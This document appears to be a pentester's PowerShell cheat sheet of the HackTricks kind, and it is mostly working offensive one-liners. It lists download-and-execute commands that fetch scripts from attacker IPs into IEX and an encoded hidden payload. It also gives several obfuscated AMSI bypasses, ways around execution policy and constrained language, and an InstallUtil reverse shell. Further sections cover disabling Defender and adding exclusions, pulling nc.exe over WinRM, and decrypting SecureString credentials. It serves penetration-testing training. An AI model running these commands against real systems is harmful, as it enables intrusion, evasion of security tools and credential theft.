# Basic PowerShell for Pentesters ## Default PowerShell locations ``` C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Basic PS commands to start ```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` ## Download & Execute ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( ``` ### Download & Execute in background with AMSI Bypass ```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Using b64 from linux ```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Download ### System.Net.WebClient ``` (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest ``` Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget ``` wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer ``` Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ## Base64 Kali & EncodedCommand ```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` ## Execution Policy By default it is set to **restricted.** Main ways to bypass this policy: ``` 1º Just copy and paste inside the interactive PS console 2º Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - 3º Read and Exec Get-Content .runme.ps1 | Invoke-Expression 4º Use other execution policy PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1 5º Change users execution policy Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted 6º Change execution policy for this session Set-ExecutionPolicy Bypass -Scope Process 7º Download and execute: powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')" 8º Use command switch Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Constrained language ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### Bypass ```bash #Easy bypass Powershell -version 2 ``` In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM). **To compile it you may need** **to** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add _C:\Windows\Microsoft.NET\assembly\GAC\_MSIL\System.Management.Automation\v4.0\_3.0.0.0\\_\_31bf3856ad364e35\System.Management.Automation.dll\_ and **change the project to .Net4.5**. #### Direct bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` #### Reverse shell: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` ## AppLockerPolicy Check which files/extensions are blacklisted/whitelisted. ``` Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` ## Enable WinRM (Remote PS) ```bash enable-psremoting -force #This enables winrm ## Change NetWorkConnection Category to Private #Requires -RunasAdministrator Get-NetConnectionProfile | Where{ $_.NetWorkCategory -ne 'Private'} | ForEach { $_ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Antivirus ```bash #Check status Get-MpComputerStatus #Disable Set-MpPreference -DisableRealtimeMonitoring $true #Set exclusion path Add-MpPreference -ExclusionPath "C:\users\public\documents\magichk" #Disable AMSI "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" ``` ## PS-History ```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## OS version and HotFixes ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Environment ```bash Get-ChildItem Env: | ft Key,Value #get all values $env:UserName @Get UserName value ``` ## Other connected drives ```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Recycle Bin ```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` [https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) ## Domain Recon {% content-ref url="powerview.md" %} [powerview.md](powerview.md) {% endcontent-ref %} ## Users ```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Secure String to Plaintext ```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) $cred.GetNetworkCredential() | fl UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` Or directly parsing form XML: ```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO ```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) #For local: Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')" #For WINRM #CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user) Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred #DOWNLOAD nc.exe Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}' #Another method $secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $computer = "" ``` ## Groups ```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Clipboard ``` Get-Clipboard ``` ## Processes ``` Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Services ``` Get-Service ``` ## Password from secure string ```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` ## Scheduled Tasks ```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` ## Network ### Interfaces ``` Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Route ``` route print ``` ### ARP ``` Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts ``` Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping ```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP ``` Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## AMSI bypass ```bash # (old) [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) # (new) $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true) # (from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1) $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " " ). GetField([string](38..51|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " ",'NonPublic,Static'). SetValue($null,$true) # Testing for Amsi Bypass: https://github.com/rasta-mouse/AmsiScanBufferBypass # Amsi-Bypass-Powershell https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://blog.f-secure.com/hunting-for-amsi-bypasses/ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ```